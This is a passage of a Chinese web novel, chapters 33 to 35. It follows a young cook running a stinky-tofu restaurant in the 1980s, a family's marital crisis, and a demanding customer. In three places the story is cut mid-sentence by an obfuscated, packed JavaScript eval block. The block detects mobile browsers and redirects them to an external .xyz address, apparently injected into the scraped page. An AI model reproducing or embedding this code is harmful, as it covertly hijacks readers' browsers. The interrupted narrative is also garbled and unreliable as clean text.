等常嘉欣和彭叔聊着天，带着两条几乎是成本价的烟回店里时，恰好看到孙勇他们起身准备离开。 兄弟两差不多时隔三十七年的重逢，同时也是两个家庭相认的场面，自然不可能在那么短时间结束。 不过，今天能相认就足矣，未来还很长。 店里早没什么人了，两人吃好饭吃便关店回家。 回去路上，孙勇桂不期的重逢，还是让人感慨繁多，常嘉欣一想到他们都泛红着双眼欲言又止，那不知所措的模样，搭着旁边常薇薇的肩膀，念叨：“等过段时间跟你回家，也给大伯他们做一个臭豆腐全家福怎么样？” 常薇薇也有千言万语，不过最后憋了半天才说：“坐车时候臭豆腐你拿？” 常嘉欣脸皮还没厚到在公共交通上带着几个小时的“炸药包”，有回忆起之前没订货那段时间，顶着各种视线，那公交车上的30分钟短途之旅已经非常极限：“......那要么还是算了？” “我也觉得，我替他们吃好了。”常薇薇赞同道。 ...... 很多时候对相处已久的亲人总会很随意的，因为知道大家就站在原地，感情绝不会因为某个决定而割舍。 孙勇和桂不期虽说相处的时间很长，可彼此的挂念并不短。 桂不期，这名字带着的情绪何尝不是另一种思念？ 两人如今的小心翼翼应该很快就会过去。 至少常嘉欣觉得应该是这样，孙勇不会因为桂不期这个名字不要弟弟，再然后，未来他们的生活会互相体谅，互相陪伴，直到某个日子里，两人喝上一杯，孙勇估摸着还会羡慕一嘴，桂不期多了一个好父亲呢。 33.第33章 或许这世上总有莫名的守恒定律，在孙勇与桂不期重逢时，杨锣的家正在破裂。 杨锣今年35岁，嫁给曾平军算起来也有16年，他们有一个宝贝女儿曾蕊，一家子还算和睦顺遂过到如今。 说起来，杨锣条件其实比曾平军优秀很多，只是本身性格强势，所以当年她找了很久才定下的曾平军，曾平军是独生子，他们一家三口脾性也都老实，邻里亲戚都说过往安定，没听过他们什么糟心事，所以这些年，和他们相处的还是很好的。 她一直觉得他们一家会这样安稳生活到曾蕊嫁人生子，从未想过，老实了那么多年的曾平军会变得不老实，更没想到过，发现这件事的是她的女儿曾蕊。 带着盒饭才刚到家的必经路口，就被女儿叫上去那个新开不久的南山歌舞厅。 一路上，骑着车的杨锣想问却又不知道从何问起，因为她知道今天晚上曾平军说过厂里要加班，会晚些回来，又想起最近他突然给自己买的一套西装...... 其实，杨锣不是不知道枕边人的变化，只是下意识没去多想。 沉默的母女两很快便进入到一个灯红酒绿的世界，歌舞厅很大，但灯光都不算很亮，隐约便能看到各种搂抱在一起舞动的男女，耳边嘈杂声与音乐交替，听着人心慌，这不是她女儿该来的地方：“我们回去吧。” 挣扎了一路的杨锣，最终还是想放弃。 曾蕊的外貌和杨锣毫无相似之处，对比这硬朗的母亲，曾蕊则是典型江南水乡出来的姑娘，鹅蛋脸，五官娇俏，皮肤白皙，但她的性子却相当爽利，同她母亲一般：“这一路都可以说的话，到现在说又什么用呢？” 说着，她拉着曾蕊走到了一个靠近包间的卡座。 卡座一男一女，女的娇俏妩媚，此刻正在掐着嗓子说：“曾大哥真帅气，这西装一穿都快把我的心给带走了。” 西装男人其实还有些拘谨，女人左手相当自然握着他的手，右边顺着胸膛有意无意在触摸，声音酥酥麻麻，听着都起鸡皮疙瘩：“哥哥今天我们要跳舞吗？我教你好不好？要是学会了，妹妹给你一个小惊喜。” 男人像是想起了什么，动作笨拙从口袋里掏出一枚金戒指：“我......我也有准备惊喜。” 灯光那么暗，可杨锣还是能看清那枚金戒指，苦笑不得。 结婚那么多年，她好像没收到过曾平军的任何礼物呢。 “走吧。”杨锣拉住了想要上前的女儿，“饭菜冷掉都不好吃了，我们回家热一下。” 曾蕊还想说什么，但杨锣态度很坚定，拽住胳膊的力道很足：“就当给你父亲留一些脸面吧。” 再次回到家，面对公婆回来迟的疑问，杨锣只说去家常菜馆给女儿买饭菜。 公公吃过她带回来的菜，乐呵呵点头：“是要给蕊儿尝尝，好吃，下周帮我也带一份吧。那个臭豆腐炒饭，还有卤猪尾巴，那个最好吃。” “吃吃吃吃，不是吃就是拉。”不过婆婆依旧是那个省吃俭用的态度，“真是潇洒，又去下馆子，赚得钱就这样都浪费了！” 不过，婆婆还是很勤快的拿着饭盒进厨房帮她们热饭热菜。 曾蕊虽然气愤父亲的行为，可还没想过如何处理，此时面对爷爷奶奶，只能默默跟着杨锣进厨房吃饭。 重新热过的臭豆腐炒饭口感还是有些区别，杨锣吃过不少次，最能感觉到差别，但对于还没吃过的曾蕊，却已经相当惊艳。 不过卤猪尾巴就没有受到影响，每一节都入味。 这还不说最合曾蕊心意的糖醋荷包蛋，糖醋汁儿裹得极匀称，油亮亮地泛着光，单闻着，她忍不住都先用筷子沾着嗦上一会，这才一口咬破荷包蛋那外壳酥皮，满嘴甜酸相交，滋味非常。 “好吃，妈，真好吃。”在这个晚上，曾蕊嘴角总算上扬，眼里满是满足，“这个卤猪尾巴好吃，荷包更好吃。” 甜和酸混合的汤汁染在荷包蛋后，杨锣感觉每一口滋味都能抚平她的情绪。 酸甜苦辣咸是生活常态，但她其实可以选择。 “那以后放假都带你吃。”杨锣已经调整好状态，跟着勾勒嘴角，“去店里吃，更好吃。知道吗？做这个的大厨和你年纪相仿，现在自己开店，那生意非常红火。” 说来奇怪，明明常嘉欣和她女儿差不多大小，可杨锣总是忍不住把她当同龄人。 “好厉害，怎么不读书啊？”曾蕊边吃边问。 肚子饿饭菜又好吃，她吃东西速度加快了不少，啃掉猪尾巴外面被卤汁包裹的皮，狠狠吸掉所有的卤汁油脂，一节一节的白骨头快速出现在碗边。 杨锣虽然吃得也很快，但比女儿吃得更细致一些，她能把骨头嚼到细碎。 “家里出事了。她高中毕业后就没读了，不过有这手艺，一样有出息。”杨锣补充道，“你马上要高考了，不用听你爸他们的什么要考最好的大学养他们什么，我生你不是用来给他们养老的，你过好自己的生活就够，不行到时候也去学一门手艺，生活照样过得有滋有味。” 曾蕊愣了一下，其实类似的话杨锣也说过，只是这一次格外直接：“好。” “蕊蕊，你觉得妈妈背着家人一个人在外面下馆子吃东西对吗？”杨锣很突兀提起了这个话题。 曾蕊歪头，不解道：“钱是妈妈你赚得，为什么会有对错？而且家里的菜总习惯少油水，妈妈你做体力活怎么吃得消。” 杨锣垂眸让人看不清情绪，心情放松太多。 两人沉默吃着饭，过了很久，直到都快吃完，杨锣语气坚定地开口道：“我和你爸的事情也不用管，妈会处理。” “好，妈妈，我长大了，知道什么是对错，我永远支持你。”曾蕊头舔了舔嘴边的糖醋汁，没再多说什么。 杨锣笑着抢走了饭盒里最后一个荷包蛋：“行，有这句话，我就不客气了。” ...... 常嘉欣一般去菜市场都在5点左右，但她没想到今天5点的菜市场已经接踵而至。 深呼一口气准备开始战斗，随人群还未迈出两步，便听到市场入口传来熟稔话音。 “常老板，要不要来几个活灵蛋？” 顺着声音看过去，常嘉欣认出是店里的客人。 “您老怎么来菜市场摆摊了？”常嘉欣靠近。 陈大爷就蹲在最边上，前面放着一个篮子，篮子里就是他说的活灵蛋，不多，也就十来个样子。 活灵蛋，这是南江的叫法，它的花名其实繁多，毛蛋、鸡蛋胎、喜蛋、活珠子...... 不对，活珠子和毛蛋还有些许不同，前者孵化更短一点，小鸡还没长毛，不过这些在如今这里统称都是活灵蛋，长不长毛就和开盲盒一样。 常嘉欣吃过活珠子，敲碎大的那头，光那一口干净极鲜的汁水，非常销魂。 但这玩意产生的来源很需要讲究，要是中断孵化的死因不明，吃了拉肚子还算是小事。 最重要的是，现在这个年头鸡蛋和鸡可金贵，也就养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449347|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡场舍不得扔掉孵不出的小鸡才会拿出去卖，她也没听南江这边有专门做活灵蛋生意的。 经济发展才刚开始，食品卫生概念薄弱，虽然现在大部分人做生意还没想过动歪脑子，但常嘉欣忍不住问出口：“我多嘴问一句，你这蛋怎么来？不知名的蛋可不能乱吃。” “哎呦，常老板你就放120个心，我这是自己从乡下养鸡场收来的，不坏的，我自个吃了两天呢。” “好嘞，那我就尝尝鲜。”常嘉欣捡了几个，随口问道，“您这怎么来做买卖。” “还不是最近都在传要涨价，我就干脆下乡去买些东西，没想动遇到一批活灵蛋，我好这口就包圆了。”陈大爷说起来就有点无奈，“可惜儿子他们不爱吃，我一个人又吃不完，就想拿出来卖。” 带上几个活灵蛋，常嘉欣开始为店里备货。 她没想到，昨天才听彭叔说涨价传闻，今天就变成众所周知的事。 素菜几乎普遍涨价一两分，鱼肉价倒是没大变，不过她去肉摊的时候，已经没什么好肉，要不是老板给她留下猪尾巴，可能今天什么都买不到。 回到店里，常薇薇和袁姨已经在打扫店面，为开店做准备了。 “今天那菜市场人挤人，菜都不好买。”常嘉欣碎上几嘴，“等下午准备去北边那个贸易市场再看看，不然晚上就只能卖炒饭了。” “李达哥今天送的鱼还是一样，还送了我们一些蛏子。”常薇薇过来接菜时，也念叨着，“他比划了半天，我才听懂，说是近期供鱼有点紧张，但让我们不用担心，说他家里鱼供闻，不会涨价。” “李叔他家做生意就是真爽快。”常嘉欣点头肯定，但嘴巴却要求多，“就是我们天天吃河鱼也容易厌，要么明天去远点的贸易市场买点海鱼，臭豆腐烧黄鱼估计也好吃。” “我可不会厌，这汪刺鱼多好吃。”常薇薇反驳道。 “等你吃过黄鱼就知道。”常嘉欣脑海里比拟着两种鱼肉的质感，一个更鲜嫩，油脂丰富口感就更香，一个鲜味虽然不如黄鱼，但是肉质紧实也有自己的风味。 常薇薇捏捏肚子上的肉，有点无奈：“等端午回去，我爸妈肯定要认不出我了。” 她在这里吃好喝好，简直不要太好！ “你这是更漂亮了，当然认不出哦。”常嘉欣嘴甜，想起来昨天灵光一闪而过的想法，和袁姨招呼，“姨，明天晚上叫佳佳和马叔，我们店里月底聚餐吃个饭。” 佳佳就是袁姨的女儿，这个月里虽说人还没见到，但是已经吃过她不少菜，包括各种实验菜，也算是隐形的家常菜馆员工了。 袁姨木讷的眼神总算有些变化，她抬起眼眸看向常嘉欣，刚准备拒绝，就又听到常嘉欣的询问。 “对了，佳佳喜欢吃什么？到时候去菜市场可以买点她爱吃的。”常嘉欣收拾着菜，问道，“你可不能替她拒绝啊，佳佳应该是期待我做得菜吧？” 袁姨心莫名松了些，她低着头清理着韭菜根部上脱落的皮丝，低声道：“她爱吃鱼。” “那敢情好，我可会做鱼了。”常嘉欣也在挑韭菜，闲话时还不望念叨食材，“俗话所六月韭，臭死狗，这再过两天韭菜可真老得吃不了，今天这把我都找好久，还有春笋，也要下市了，我今天多买了不少，马上我们店里炒时蔬要换代了。” “哎呀，我知道午饭吃什么了！”清理完韭菜，再扒笋皮得时候常嘉欣突然想起，油焖春笋这道菜还是有难度，不如做另一道春天告别菜...... 34.第34章 春笋腊肠焖饭，可以吃一个春天的结尾，而且做法简单。 心动不如行动，中午客人对比昨天减少了不少，常嘉欣提前开始做着手做焖饭。 春笋滚刀切段后焯水，季节快过去了，春笋草酸更多，焯水多要多煮两分钟。 常嘉欣趁着这个时间准备把泡好的香菇切丁，胡萝卜切丁，最后再把腊肠切片，还需要准备些许葱段，这焖饭的食材便全部准备好了。 之前薇薇姐带来的腊肠早就吃完了，这会的腊肠是她试过好几个干货店选出来的，莫约里面是放了糖酒，有几分广式腊肠的味道，非常适合加入各种搭配中。 热锅煸炒出五花肉的油香，她先炒了一番腊肠，把它炒好后，常嘉欣直接用这个带着腊肠香味的油底下春笋翻炒，紧接着放酱油，蚝油，糖，调味烧红后才放入香茹和腊肠，香茹容易入味，腊肠则是不需要调味。 做完这些，常嘉欣把淘洗过的米饭放在店里的大砂锅里，铺上她炒过的春笋腊肠，加上刚刚泡香菇的水，盖上锅盖正常煮饭。 等最后一个客人离开，这焖饭也就可以关火，常嘉欣将上面的春笋腊肠与下饭多多搅拌，米饭一下就显得油润饱满起来，用砂锅的余温再小焖一会，最后撒上葱花，这春笋腊肠焖饭便完成了。 常嘉欣盛起之后，铲子上嗨紧贴着锅内最后一片春笋，最底下则粘连着锅底脆生生的米饭。 不能浪费，直接咬上铲子。 米饭软糯带着浓郁的香，比锅巴软一些的口感，属于微微脆焦，滋味很好，春笋脆嫩清甜中带着属于腊肠与香茹的香，咸鲜交织，特别好吃。 意犹未尽啊。 把铲子上的饭粒全部啃完，常嘉欣心情愉悦。 美食是一方面，另一方面她的“焖”技法竟然完成了，这焖饭达到SSS级别的美味。 “...... 厨艺成就：尚可 （下一个阶段：合格，需要完成9种SSS美食，且需要不同烹饪手法。 进度说明：蒸（1/1）、煮（1/1）、炒（1/1）、煎（1/1）、卤（1/1）、烧（1/1）、煲（1/1）、焖（1/1）、炸、烤、熘、炖、煸、拌......） 委托任务：.......” 她的“煎”是昨天突发奇想制作的香煎臭豆腐后更新的，加上今天这个“焖”，如今的厨艺成就距离系统的“合格”就差一种了。 其实她之前没想过用她完全不熟悉的烹饪手法能做到sss水平的菜肴，在她原来认知里，就是让一个中学生去做研究生实验，怕是纯浪费资源。 而研发臭豆腐新菜，通过已熟悉的烹饪手法去创新，那可就简单很多，是以，常嘉欣在此之前，并没特地尝试过做这个任务，而是想把臭豆腐打出名气。 可昨天没想到误打误撞学会了“煎”。 一开始以为是酱料的功劳，可后面想到香煎若是没把火候把控得当，或者靠酱料最多也就评到S，很难到SSS，像她做得炸鱼丸就还没把“炸”这水平拉满过。 回忆起她那时候煎臭豆腐的状态，有点纯粹去享受的感觉，心无旁骛。 那感觉还挺玄妙。 所幸今天她按照感觉随心做了一个，没想到真得成功了！ 果然是天赋卓绝！ “开饭了！” 常嘉欣感觉自己越发喜欢做饭，简直成就感满满。 * 袁红的两个饭盒装着满满的焖饭，回去路上是不带停歇。 她住得地方还是厂旁边老式的筒子楼，午休时间已经过了，过道里还弥留着米饭香，不过袁红并不羡慕，这再香也香不过她手里的，此时盖子改紧都能偶尔散发出独特的香味。 将外面的锁打开之后，袁红敲敲门：“佳佳。” 里面很快传出了铁阀扭动的声音，一个18岁的少女袁佳佳握着一个红色的千纸鹤，笑眯眯招呼：“妈妈，中午好，佳佳好饿。” 稚嫩的语气，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454484|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那清澈不沾凡尘的眼眸，一下就能看出一些异常。 “吃饭吧。”袁红将饭盒放在桌上，同时从厨房拿出碗勺。 她这两个饭盒很大，她们两个吃一份就够，还有一份可以留在晚上。 袁佳佳乖巧坐在桌上，把她的千纸鹤小心放在旁边，动动小鼻子：“有腊肠，春笋，香菇，还有饭香！嘉欣姐姐做新菜了。” 袁红打开饭盒，露出油亮的焖饭，听到她雀跃的声音，一直以来锁紧的眉头微微松散一些：“吃吧。” 袁佳佳迫不及待的用勺子捞主一大口夹着腊肠的米饭，嘴里满口鲜香，嚼完之后，忍不住摇头晃脑：“好吃，和臭豆腐炒饭一样好吃。” 袁红也感觉到了这个焖饭美味，她想跟着佳佳一起笑，可许久没牵动的肌肉终究还是卡住了，她只能跟着点头。 “真好好吃，完全没有缺点，也不对，感觉还不够漂亮。”袁佳佳一口又一口，偶尔停下来像个美食家一般评论，“黄的，红的，红的，褐的，还有橙的......少了绿色，啊，我找到绿色了！就是这个绿闷闷的。” 到最后，她指了指碗低的葱段，像是挖到宝藏一般高兴，只是这种状态随着吃完碗里的饭别消失了，她塌下肩膀：“没有了呢。” 她的碗见底，袁红余光看向了还有一个饭盒，她也有些意犹未尽：“焖饭还有。” “吃，妈妈吃。”袁佳佳连连点头，感觉一碗完全不满足。 袁红把最后一盒饭分完，想起常嘉欣说过的事，问道：“明天嘉欣姐姐邀请你去吃饭，你......要去吗？” 袁佳佳平日里很少见到生人，袁红也不喜欢带她出门见陌生人，但明显如今给佳佳做好多次饭的常嘉欣不算可陌生人。 “要去的要去的，吃大餐，见朋友，见大朋友。”说着，袁佳佳还拍拍手，两只脚不自觉瞪着地，显然很高兴。 袁红眼里柔和几分：“好，明天妈妈带你去见。” “好期待呀！” 35.第35章 店里晚上的客人更加少，像是一下回到了刚开业的时候，这不，开业十分钟才迎来了第一个客人，还是一个奇怪的客人。 这一个用丝巾将脸牢牢包着的旗袍女人在门口犹豫徘徊半天，最终才鼓起勇气走进店里。 环顾一圈，发现店里都没人，她忍不住长舒一口气。 找到了最靠近厨房的桌子，背朝着门口坐下来。 “一碗臭豆腐炒饭，嗯，这黑板上的点菜都上一份吧。”女人还未等常薇薇开口，就直接点好了菜。 常薇薇对她这探头探脑的行为有点好奇，但这是新客人，也没多问，听到点单后也没有立即下单，而是耐心问：“您这边朋友有多少人？有忌口的么？目前菜品都有，不过要做大约需要半小时以上，能接受吗？” “就我一个人。葱什么都不要太重，吃完嘴巴不想留味。”说完，女人觉得自己真是想多了，臭豆腐吃完就有味，根本没办法避免，“算了，按照正常做就行，不忌口。” 反正她打定主意，吃完回家洗个澡换个衣服，再多喷喷香水就是。 常薇薇愣住：“这个菜不少，光一个鱼头豆腐汤，您可能吃完就会很撑。” 女人不以为意，她就想尝尝味道，就算再好吃，也不至于要吃完：“没事，你上就行。” 常薇薇还想劝一下：“这一个人真得点太多了，我们一碗炒饭量都不小，加一个菜就行，现在天要热起来，这菜多了就算带回去也放不了几天，您要是喜欢可以每天过来尝尝不同口味。” “我都要，会付钱的。”女人柳叶眉已经都快拧在一起，但她还是克制音量，她担心有人进来，可不想引人瞩目。 殊不知，就菜加起来就要27块的单子，很难不让人注意，尤其还是女人单独一个人吃。 常薇薇能感觉到女人语气里的不耐烦，她捏紧手中的笔，一时之间有点不知道怎么处理。 店里基本都是光盘的顾客，她从没遇到过这样的。 于理，其实人家只要付钱，对店里来说这是大单子，并没有什么问题。 可于情，这客人都没带饭盒，应当是打定主意要浪费。 浪费粮食啊！ 虽说常薇薇没遇到过60年最大的饥荒，可她长辈都经历过，听过他们说过饥饿的味道，听过他们吃球藻填肚子，经历浮肿的过往，在那个年最困难的时候，村里还死了不少人。 常家不算困难户，可也不是物资赋予的家庭，常薇薇还是从小节衣缩食过来的，真见不得人这般浪费。 她一脸纠结走到出餐口，常嘉欣看着奇怪。 “怎么了？” “有个新客人要点我们店里所有菜，但是她一个人我担心吃不完，建议后，她也不听。”常薇薇努力压低音量，最后忍不住带上自己的想法，“她一个人肯定吃不完，这也太浪费了，我觉得不应该给她，可这单好多钱......” “这简单。” 常嘉欣笑着从厨房走向这位大款客人。 “同志，你一个人要是点那么多，就算浪费也要点？”问得时候，常嘉欣观察着她身上的细节。 这位女同志头发利落盘起，发髻之间仅留一朵珠花，与旗袍领口的扭珠遥相呼应，打扮相当细致，一双多情的眼睛与白皙皮肤裸露在外面柳叶眉一笔勾勒，杏仁眼都没描摹眼线，依旧有神，虽然脸上还裹着丝巾，但隐隐约约的脸型五官还是能看出的。 是个大美女。 “对的，我说了，全点上，我付得起。”说着，周子眉实在有些不耐烦，从她手中的小皮包里掏出三张大团圆，意思在明显不够。 大概是不知愁的漂亮姑娘，搁在后世常嘉欣肯定能接受这种点单，出去下馆子总会想多尝尝嘛，大不了餐厅给打包放回家冰着，不过现在这个时候，即没打包盒，要是没冰箱，如今天气热起来，菜隔夜可不能吃，纯粹是浪费这种行为，就没那么好说了。 常嘉欣没再犹豫，接过这三十元大钞：“同志，还差十张大团圆呢。” “十张！”周子眉眼珠瞪大，意识到自己语调，在压低着嗓音说道，“你这菜加起来就27，算上炒饭也才27.6，我给你三十你还要找我呢。” “正常来说，五六个人来吃是这个价格，可你这属于过量点单行为，我要收取百元的服务费啊。”常嘉欣装似无奈，“这钱真不多，我才是承担大部分风险的，这工商局有食品管理条例，浪费行为到时候影响我店的粮食收购许可，你这一单我没准后面就买不到粮，也开不了店呢。” 当然，以上话术纯属个人编造，现在8 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465924|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 6年，已经不需要工商局给粮食收购许可证了，至于食品管理条例，按照进程可能确实快落了，但和浪费行为可没有关系，纯粹是安全导向的管理办法。 可常嘉欣说话掷地有声，有理有据的模样，糊弄人并不难。 她这话说完，周子眉就捏紧了自己的小皮包，一百元啊，她也不是出不起，但这未免也太...... 就在她进退两难的时候，常嘉欣准备给她一个台阶下时。 一个脚步声传过来，来客人了，是原先店里常来吃的寸头帅哥。 “夏队长！”周子眉原本退却的眼眸，却在瞄到来人后瞬间变得明亮，她欣喜若狂地摘下丝巾，“是我，南山的周子眉，你还记得吗！店里开业那天谢谢你的帮忙。” “夏队长，我请你吃饭吧。”周子眉真得兴奋极了，她总算找到可以多点菜的借口。 不过夏靳并没有接受，选择在她隔壁坐下：“谢谢，不用，那是工作，不是帮忙，如有遇到寻衅滋事的可以随时找派出所。” 周子眉急了，她胃口不大但心大啊：“不行不行，你帮那么大的忙，我请你吃饭吧......” 可惜夏靳并没有理她。 见两人僵持着，常薇薇特地招呼道：“最近好久没见同志来吃炒饭了，吃点什么？” 常嘉欣在一旁听得全，大美女周子眉竟然是那个南山歌舞厅的老板，也是，那么漂亮很可能就是那个电影明星，不过她反应过来另一个重点：“夏队长，同志是派出所的？上次青龙帮搞我们店里的事是不是你帮忙解决的？后面怎么样了？” 虽说事情都快过去一个月，但常嘉欣记性好，她记得那天金书他们来的时候，这位夏队长就在角落吃饭。 “不是帮忙，职责所在。”夏靳对着常嘉欣点点头，“也没完全解决，我目前只负责协助，进度的话，抱歉，暂时不能说。” “同志，如果你钱很多，可以去做善事。另外，我想好好吃饭。”夏靳被三个女人注视着，实在有些不自在，但他重点是来吃饭的，这阵子太忙了，好不容易抽空出来，“一份臭豆腐炒饭，再加一个炒时蔬。” 周子眉撇撇嘴，她只能顺势跟上：“一份臭豆腐炒饭，再加一个家烧杂鱼。” 点不了多，那就只能点最贵的。